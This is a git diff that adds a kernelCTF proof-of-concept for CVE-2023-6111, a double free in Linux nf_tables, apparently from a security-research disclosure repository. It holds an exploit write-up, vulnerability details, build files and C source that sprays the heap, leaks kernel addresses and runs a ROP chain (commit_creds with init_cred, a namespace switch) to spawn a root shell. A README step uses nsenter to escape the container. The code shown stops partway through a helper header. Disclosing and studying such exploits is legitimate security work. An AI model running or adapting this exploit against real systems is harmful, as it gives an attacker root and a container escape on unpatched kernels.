diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-6111_lts/docs/exploit.md new file mode 100644 index 00000000..fe2c5f8d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6111_lts/docs/exploit.md @@ -0,0 +1,110 @@ +# Exploit detail about CVE-2023-6111 +If you want to get some base information about CVE-2023-6111, please read [vulnerability.md](./vulnerability.md) first. + +## Background +nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem. + +It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft. + +nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`. + +## Cause anaylysis + +In the function nft_trans_gc_catchall, maintainers forget to remove the catchall set element from the catchall_list when the argument sync is true. So if you create a catchall set element with NFT_SET_EXT_EXPIRATION in a pipapo set, it's possible to free the catchall set element many times. + +``` +void nft_trans_gc_queue_sync_done(struct nft_trans_gc *trans) +{ + WARN_ON_ONCE(!lockdep_commit_lock_is_held(trans->net)); + + if (trans->count == 0) { + nft_trans_gc_destroy(trans); + return; + } + + call_rcu(&trans->rcu, nft_trans_gc_trans_free); +} +``` + + +## Triggering the vulnerability + +It's easy to trigger it by following this steps: + +- Create a pipapo set with flag NFT_SET_TIMEOUT +- Insert an element A into the set with NFT_SET_ELEM_CATCHALL, NFTA_SET_ELEM_TIMEOUT and NFTA_SET_ELEM_EXPIRATION +- Wait some seconds(Let element A timeout ) +- Insert another element B infto the set. Finally the following call chain is triggered: `nft_set_commit_update` -> `nft_pipapo_commit` -> `pipapo_gc` -> `nft_trans_gc_queue_sync_done`. + +## Exploit it +CVE-2023-6111 is very easy to exploit because you can free the element many times. My exploit is basically the same as CVE-2023-4004, with only minor modifications to the success rate requirements in the rules. If you want to get more detail about the object we use here, please read [the exploit of CVE-2023-4004](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md) first. + +### Leak info + +I leak some useful infomation by the following steps. + +- Create pipapo `set A` with flag NFT_SET_TIMEOUT. +- Insert `element B` into `set A` with NFT_SET_ELEM_CATCHALL, NFTA_SET_ELEM_TIMEOUT and NFTA_SET_ELEM_EXPIRATION. +- Insert another element to trigger the vulnerability. The `element B` will be freed. +- Create many tables with NFTA_TABLE_USERDATA to get the heap of `element B` back, the length of `NFTA_TABLE_USERDATA` should equal to sizeof(`element B`). We should hold some memory of the `element B` same to make it possiable to free it again. +- Insert another element to trigger the vulnerability again. The `element B` will be freed again. +- Create many objects, the size of the objects should equal to sizeof(`element B`). One of them will get the heap of `element B` back. +- Dump/Get all the tables we spray. The `NFTA_TABLE_USERDATA` of one of them should be a strcture of a object. + +There is a doubly linked list at the head of the object pointing to the objects before and after it. We can get the name of the next object and the pointer of it. So I choose to use it as the ROP gadget which will be used in `Control RIP`. +Steps: +- Delete the next object. +- Create many tables with NFTA_TABLE_USERDATA to get the heap of the next object back. + +### Control RIP +I control the RIP by the following steps which is very similar I used for leaking useful information: + +- Create pipapo `set A` with flag NFT_SET_TIMEOUT. +- Insert `element B` into `set A` with NFT_SET_ELEM_CATCHALL, NFTA_SET_ELEM_TIMEOUT and NFTA_SET_ELEM_EXPIRATION. +- Insert another element to trigger the vulnerability. The `element B` will be freed. +- Create many tables with NFTA_TABLE_USERDATA to get the heap of `element B` back, the length of `NFTA_TABLE_USERDATA` should equal to sizeof(`element B`). We should hold some memory of the `element B` same to make it possiable to free it again. +- Insert another element to trigger the vulnerability again. The `element B` will be freed again. +- Create many objects, the size of the objects should equal to sizeof(`element B`). One of them will get the heap of `element B` back. +- Dump/Get all the tables we spray. Find the target tables. The `NFTA_TABLE_USERDATA` of one of them should be a strcture of a object. +- Delete the target table to free the heap of the object. +- Spray many tables with NFTA_TABLE_USERDATA to get the heap of the object back. After this, we will fill fake data of the object. I overwrite object->ops to control RIP. +- Get target object, and we will finally jump to ROP. + ``` + static int nft_object_dump(struct sk_buff *skb, unsigned int attr, + struct nft_object *obj, bool reset){ + struct nlattr *nest; + + nest = nla_nest_start_noflag(skb, attr); + if (!nest) + goto nla_put_failure; + if (obj->ops->dump(skb, obj, reset) < 0)//After overwrite the ops, we can control RIP here. + goto nla_put_failure; + nla_nest_end(skb, nest); + return 0; + ... + ``` +### ROP detail +I fill the fake data of the object by this: +``` + //ops is the pointer of the memory we will fill in NFTA_OBJ_USERDATA + //the filed at 0x20 of ops is ops->dump. + *(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff8198954b;//push rsi ; jmp qword ptr [rsi + 0x39] + ... + //Now we try to fill fake data of the object + //stack migration first time + *(uint64_t *)(&leak_obj[0x39]) = kernel_off + 0xffffffff811b365b;//pop rsp ; ret + *(uint64_t *)(&leak_obj[0]) = kernel_off + 0xffffffff811b365b;//pop rsp ; ret + *(uint64_t *)(&leak_obj[8]) = target_rop + 0x60;//Finally we jmp to our target ROP + 0x60 + *(uint64_t *)(&leak_obj[0x80]) = target_rop; // make obj->ops = our target ROP memory; + ... +``` + +And the step of ROP looks like this: +``` + + obj->ops->dump(skb, obj, reset) -> + push rsi ; jmp qword ptr [rsi + 0x39] -> //RSI will be the pointer of the object + pop rsp ; ret -> //stack migration, the rsp will be the pointer of the object + pop rsp ; ret -> //stack migration again, the rsp will be target_rop + 0x60(the pointer of the NFTA_OBJ_USERDATA + 0x60) + now we can do normal ROP here +``` diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-6111_lts/docs/vulnerability.md new file mode 100644 index 00000000..0d67033e --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6111_lts/docs/vulnerability.md @@ -0,0 +1,25 @@ +# Vulneribility + In the function nft_trans_gc_catchall, maintainers forget to remove the catchall set element from the catchall_list when the argument sync is true. So if you create a catchall set element with NFT_SET_EXT_EXPIRATION in a pipapo set, it's possible to free the catchall set element many times. + + +## Requirements to trigger the vulnerability + - Capabilities: `CAP_NET_ADMIN` capability is required. + - Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES` + - Are user namespaces needed?: Yes + +## Commit which introduced the vulnerability + - [commit 4a9e12ea7e70223555ec010bec9f711089ce96f6](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/netfilter?id=4a9e12ea7e70223555ec010bec9f711089ce96f6) + +## Commit which fixed the vulnerability +- [commit 93995bf4af2c5a99e2a87f0cd5ce547d31eb7630](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=93995bf4af2c5a99e2a87f0cd5ce547d31eb7630) + +## Affected kernel versions +- 6.1.56 and later +- 5.15.134 and later + +## Affected component, subsystem +- net/netfilter (nf_tables) + +## Cause +- UAF + diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/Makefile b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/Makefile new file mode 100644 index 00000000..e2a6e2ce --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/Makefile @@ -0,0 +1,9 @@ +exploit: + gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static +prerequisites: + sudo apt-get install libnl-nf-3-dev +run: + ./exploit + +clean: + rm exploit diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/README b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/README new file mode 100644 index 00000000..664241fb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/README @@ -0,0 +1,2 @@ +Exploit for kctf LTS 6.1.60 +Run command "nsenter --target 1 -m -p" after run the poc. diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/exploit b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/exploit new file mode 100644 index 00000000..2a509218 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/exploit.c b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/exploit.c new file mode 100644 index 00000000..5f718e95 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/exploit.c @@ -0,0 +1,372 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "obj.h" +#include "setelem.h" +#include "table.h" +#include "set.h" + +char *leak_obj=NULL; +char *target_rop=NULL; +char *target_table=NULL; +char *leak_data=NULL; +int ct_expect_obj_num = 0; +int table_num = 0; + +uint64_t leak_ops = 0, leak_heap = 0, kernel_off = 0; +unsigned long user_cs,user_ss,user_rsp,user_rflags; +int cur_handle = 0; +void shell(){ + printf("ret2usr success! uid : %d\n",getuid()); + char *args[] = {"/bin/sh", "-i", NULL}; + execve(args[0], args, NULL); + //while(1); +} + +static void save_state() { + asm( + "movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory"); +} + +int setup_sandbox(void) { + if (unshare(CLONE_NEWUSER) < 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + return -1; + } + if (unshare(CLONE_NEWNET) < 0) { + perror("[-] unshare(CLONE_NEWNET)"); + return -1; + } + return 0; +} + + +int nl_callback_find_target_table(struct nl_msg* recv_msg, void* arg) +{ + + struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg); + struct nlattr * tb_msg[NFTA_TABLE_MAX+1]; + memset(tb_msg,0,NFTA_TABLE_MAX * 8); + + if (ret_hdr->nlmsg_type == NLMSG_ERROR) { + //fprintf(stderr, "Received NLMSG_ERROR message!\n"); + return NL_STOP; + } + + struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg)); + int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg)); + nla_parse(tb_msg, NFTA_TABLE_MAX, attr, attrlen, NULL); + char * table_name=NULL; + if (tb_msg[NFTA_TABLE_NAME]) { + table_name = nla_get_string(tb_msg[NFTA_TABLE_NAME]); + //printf("Get table: '%s'\n", table_name ); + } + if (tb_msg[NFTA_TABLE_USERDATA]){ + uint64_t * val = malloc(nla_len(tb_msg[NFTA_TABLE_USERDATA])); + nla_memcpy(val, tb_msg[NFTA_TABLE_USERDATA], nla_len(tb_msg[NFTA_TABLE_USERDATA])); + //printf("data[16] = %lx\n", val[16]); + if((val[16]&0xfff) == 0xd00){ + printf("Get table: '%s'\n", table_name ); + //printf("data[0] = %lx\n", val[0]); + leak_obj = (char *)val; + target_table = malloc(strlen(table_name)+1 ); + strcpy(target_table,table_name); + leak_data = (char *)val; + } + } + return NL_OK; +} + + +void spray_tables(struct nl_sock * socket, int len, char *udata, int size){ + char *tmp = malloc(0x100); + memset(tmp,0,0x100); + int i; + for(i=0;idump, first ins to run. + *(uint64_t *)&ops[0x30] = kernel_off + 0xFFFFFFFF83967020; //MODULE_CT_EXPECT_OBJ_TYPE_ADDR; This part is to bypass the check of type in function nft_obj_lookup + *(uint64_t *)&ops[0x60] = kernel_off + 0xffffffff8112af40;//pop rdi; ret + *(uint64_t *)&ops[0x68] = kernel_off + 0xFFFFFFFF83676840;//init_cred + *(uint64_t *)&ops[0x70] = kernel_off + 0xFFFFFFFF811BB410;//commit_creds + *(uint64_t *)&ops[0x78] = kernel_off + 0xffffffff8112af40;//pop rdi; ret + *(uint64_t *)&ops[0x80] = 1; + *(uint64_t *)&ops[0x88] = kernel_off + 0xFFFFFFFF811B1DF0;//find_task_by_vpid + *(uint64_t *)&ops[0x90] = kernel_off + 0xffffffff8112af40;//pop rdi; ret + *(uint64_t *)&ops[0x98] = 0; + *(uint64_t *)&ops[0xa0] = kernel_off + 0xFFFFFFFF810D4F71;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret + *(uint64_t *)&ops[0xa8] = 0; + *(uint64_t *)&ops[0xb0] = kernel_off + 0xFFFFFFFF81AF5FCE; //pop rsi ; ret + *(uint64_t *)&ops[0xb8] = kernel_off + 0xFFFFFFFF83676600;//init_nsproxy + *(uint64_t *)&ops[0xc0] = kernel_off + 0xFFFFFFFF811B9880; //switch_task_namespaces + *(uint64_t *)&ops[0xc8] = kernel_off + 0xFFFFFFFF82167E16;//swagpgs; ret + *(uint64_t *)&ops[0xd0] = kernel_off + 0xFFFFFFFF822011D7;//iretq + *(uint64_t *)&ops[0xd8] = (uint64_t)shell; + *(uint64_t *)&ops[0xe0] = user_cs; + *(uint64_t *)&ops[0xe8] = user_rflags; + *(uint64_t *)&ops[0xf0] = user_rsp|8; + *(uint64_t *)&ops[0xf8] = user_ss; + + del_obj(socket, table, next_obj_name, NFT_OBJECT_CT_EXPECT); //delete next obj first + sleep(2); + spray_tables(socket,0x800, ops, 0x100);//spray ROP gadget to fill it. + printf("Finish prepare.\n"); + return 0; +} + + +void jmp_rop(struct nl_sock * socket){ + char *pipapo_set = "set pipapo for rop"; + char *table = "table for rop"; + char *obj_for_rop = "obj for rop"; + int i; + char *key = malloc(0x40); + char *key_end = malloc(0x40); + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + char *obj_name = malloc(0x40); + memset(obj_name,0,0x40); + leak_obj = NULL; + leak_data = NULL; + printf("start ROP\n"); + new_table(socket, table); + new_set_pipapo(socket,table, pipapo_set, NFT_OBJECT_CT_EXPECT); + new_obj_ct_expect(socket, table, obj_for_rop, NULL, 0); + + + //step 1, create vulnerable setelem + new_setelem_with_expiration(socket, table, pipapo_set, pad, 0xc0, obj_for_rop, key, 0x40, key_end, 0x40, 1,0xe803000000000000); + //printf("step 1 finish\n"); + //step 2, free the setelem + sleep(10); + memset(key,1,0x40); + memset(key_end,1,0x40); + new_setelem(socket, table, pipapo_set, pad, 0xc0, obj_for_rop, key, 0x40, key_end, 0x40, 0); + //printf("step 2 finish\n"); + //step 3, get the setelem heap back + memset(pad,0x42,0x100); + *(uint64_t *)&pad[0] = 0x2810180a00000004; + *(uint64_t *)&pad[8] = 0x22000; + *(uint64_t *)&pad[0x10] = 0xfffb9b54; + *(uint64_t *)&pad[0x18] = 0x3e8; + int old_num = table_num; + spray_tables_rop(socket,0x800, pad, 0xe0); + //printf("step 3 finish\n"); + //step 4, free it again + sleep(10); + memset(key,2,0x40); + memset(key_end,2,0x40); + new_setelem(socket, table, pipapo_set, pad, 0xc0, obj_for_rop, key, 0x40, key_end, 0x40, 0); + //printf("step 4 finish\n"); + //step 5, get it back by a obj + for(i=0;i<0x400;i++){ + snprintf(obj_name,0x40,"obj_for_rop_%d",i); + new_obj_ct_expect(socket, table, obj_name, NULL, 0); + } + //printf("step 5 finish\n"); + + //step 6, find target table + + nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_table, NULL); + + get_tables_rop(socket, old_num, table_num); + //printf("step 6 finish\n"); + char *vul_name = NULL; + if(leak_data){ + printf("target table: %s\n",target_table); + uint64_t handle = *(uint64_t *)(&leak_data[0x38]); + printf("handle: %ld\n", handle); + printf("obj name : %llx\n", *(uint64_t *)(&leak_data[0x20])); + vul_name = malloc(0x80); + memset(vul_name,0,0x80); + snprintf(vul_name, 0x80,"obj_for_rop_%ld",handle-3); + }else{ + printf("Find target obj for rop fail!\n"); + return; + } + + printf("vul name : %s\n",vul_name); + *(uint64_t *)(&leak_obj[0x39]) = kernel_off + 0xffffffff811b365b;//pop rsp ; ret + *(uint64_t *)(&leak_obj[0]) = kernel_off + 0xffffffff811b365b;//pop rsp ; ret + *(uint64_t *)(&leak_obj[8]) = target_rop + 0x60; + *(uint64_t *)(&leak_obj[0x80]) = target_rop; // make obj->ops = our target ROP memory; + + del_table(socket, target_table); + spray_tables(socket, 0x800, leak_obj, 0xd8); + puts("Ready"); + //getchar(); + get_obj(socket, table, vul_name, NFT_OBJECT_CT_EXPECT); + + printf("Jmp ROP end.\n"); +} + + +int main(void) { + if (setup_sandbox() < 0){ + printf("Create sandbox fail!\n"); + return 0; + } + save_state(); + struct nl_sock * socket = nl_socket_alloc(); + + if(nfnl_connect(socket)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + + int ret = leak_and_prepare_rop(socket); + + if(ret<0) + return 0; + struct nl_sock * socket2 = nl_socket_alloc(); + + if(nfnl_connect(socket2)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + jmp_rop(socket2); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/obj.h b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/obj.h new file mode 100644 index 00000000..6d7b1220 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/obj.h @@ -0,0 +1,163 @@ +extern int cur_handle; +void new_obj_ct_expect(struct nl_sock * socket, char *table_name, char *obj_name, void *udata, uint32_t ulen){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + //create test1 + struct nl_msg *data = nlmsg_alloc(); + char *a = malloc(0x100); + memset(a,0x41,0x100); + + nla_put_u8(data, NFTA_CT_EXPECT_L4PROTO, 0x41); + nla_put_u16(data, NFTA_CT_EXPECT_DPORT, 0x4141); + nla_put_u32(data, NFTA_CT_EXPECT_TIMEOUT, 0x41414141); + nla_put_u8(data, NFTA_CT_EXPECT_SIZE, 0x41); + nla_put_nested(msg2, NFTA_OBJ_DATA, data); + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(NFT_OBJECT_CT_EXPECT)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + if(udata>0) + nla_put(msg2, NFTA_OBJ_USERDATA, ulen, udata); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create %s\n",obj_name); + } + cur_handle++; +} + +void del_obj(struct nl_sock * socket, char *table_name, char *obj_name, uint32_t obj_type){ + + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELOBJ),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + + nla_put_string(msg2, NFTA_OBJ_NAME, obj_name); + nla_put_u32(msg2, NFTA_OBJ_TYPE, htonl(obj_type)); + nla_put_string(msg2, NFTA_OBJ_TABLE, table_name); + + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete object %s\n",obj_name); + } + +} + +void get_obj(struct nl_sock * socket, char *table_name, char *obj_name, uint32_t obj_type){ + //init msg + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + nfnlmsg_put( + msg, + NL_AUTO_PID, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_SUBSYS_NFTABLES, //SUBSYS + NFT_MSG_GETOBJ, // TYPE + NLM_F_REQUEST, //NLM_F_ECHO + 2, //FAMILY + 0 //RES_ID + ); + //init msg + nla_put_u32(msg, NFTA_OBJ_TYPE, htonl(obj_type)); + nla_put_string(msg, NFTA_OBJ_NAME, obj_name); + nla_put_string(msg, NFTA_OBJ_TABLE, table_name); + + int res = nl_send_auto(socket, msg); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Get obj %s\n",obj_name); + } +} diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/set.h b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/set.h new file mode 100644 index 00000000..e58a3c45 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/set.h @@ -0,0 +1,81 @@ +extern int cur_handle; + +void new_set_pipapo(struct nl_sock * socket, char *table_name, char *set_name, uint32_t obj_type){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWSET),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + //init msg + struct nl_msg *data = nlmsg_alloc(); + struct nl_msg *data_nest = nlmsg_alloc(); + struct nl_msg *data_nest_nest = nlmsg_alloc(); + //init IPSET_ATTR_DATA + + int i=0; + + nla_put_u32(data_nest_nest, NFTA_SET_FIELD_LEN, htonl(0x10)); + for(i=0;i<2;i++){ + nla_put_nested(data_nest, NFTA_LIST_ELEM, data_nest_nest); + } + + nla_put_nested(data, NFTA_SET_DESC_CONCAT, data_nest); + //create test1 + nla_put_string(msg2, NFTA_SET_TABLE, table_name); + nla_put_string(msg2, NFTA_SET_NAME, set_name); + nla_put_u32(msg2, NFTA_SET_ID, 0x10); + nla_put_nested(msg2, NFTA_SET_DESC, data); + nla_put_u32(msg2, NFTA_SET_KEY_LEN, htonl(0x40)); + nla_put_u32(msg2, NFTA_SET_FLAGS, htonl(NFT_SET_INTERVAL|NFT_SET_OBJECT|NFT_SET_CONCAT|NFT_SET_TIMEOUT)); + nla_put_u32(msg2, NFTA_SET_OBJ_TYPE, htonl(obj_type)); + //int res = nl_send_auto(socket, msg); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create set\n"); + } + cur_handle++; +} + diff --git a/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/setelem.h b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/setelem.h new file mode 100644 index 00000000..486bb2ba --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-6111_lts/exploit/lts-6.1.60/setelem.h @@ -0,0 +1,168 @@ +void new_setelem(struct nl_sock * socket,char *table_name, char *set_name, void *udata, uint32_t ulen, char *obj_ref, char * input_key, int key_len, char *key_end, int key_end_len, int if_catchall){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + 